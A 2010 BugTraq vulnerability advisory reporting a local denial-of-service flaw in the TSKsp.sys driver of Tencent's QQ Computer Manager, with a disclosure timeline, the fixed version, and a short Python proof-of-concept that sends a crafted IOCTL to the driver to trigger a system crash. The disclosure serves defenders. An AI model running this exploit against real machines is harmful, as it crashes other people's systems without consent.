BugTraq
QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability Aug 09 2010 07:14AM
lilf (lilf neusoft com)
QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability

By Lufeng Li of Neusoft Corporation

Vulnerable: QQpcmgr<=v4.0Beta1

Vendor: Tencent Inc

1) Software Description:
QQ doctors more than three years after the development and operation, and finally ushered in the fourth generation - QQ Computer Manager 4.0 . QQ butler 4.0 version of

the computer not only doctors and QQ QQ integrated software management, and increased cloud killing horses, clean up the core function of plug-ins; addition,QQ computer

butler innovative features introduced software to move, you can easily solve the insufficient disk space C problem.

2) Details:
A local denial of service vulnerability in QQ Computer Manager that handling ioctl request. A successful attack can lead to BSoD.

3) Timeline:
2010.07.01 Vendor notified
2010.07.22 Vendor released new fixed versions
2010.08.09 Advisory released

4) Solution:
Update to version QQPCMgr_40_278.

5) Exploit:
#!/usr/bin/python

#################################################################
#
# Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: http://pcmgr.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQpcmgr v4.0Beta1
# Vulnerable: QQpcmgr<=v4.0Beta1
#
#################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi = windll.Psapi

if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

DEVICE_NAME = "\\\\.\\tsksp"
dwReturn = c_ulong()
out_data = ''
in_data = ''
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x22e01c, in_data,0, out_data, 0,byref(dwReturn), None)

------------------------------------------------------------------------
---------------------------
Confidentiality Notice: The information contained in this e-mail and any accompanying attachment(s)
is intended only for the use of the intended recipient and may be confidential and/or privileged of
Neusoft Corporation, its subsidiaries and/or its affiliates. If any reader of this communication is
not the intended recipient, unauthorized use, forwarding, printing, storing, disclosure or copying
is strictly prohibited, and may be unlawful.If you have received this communication in error,please
immediately notify the sender by return e-mail, and delete the original message and all copies from
your system. Thank you.
------------------------------------------------------------------------
---------------------------

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus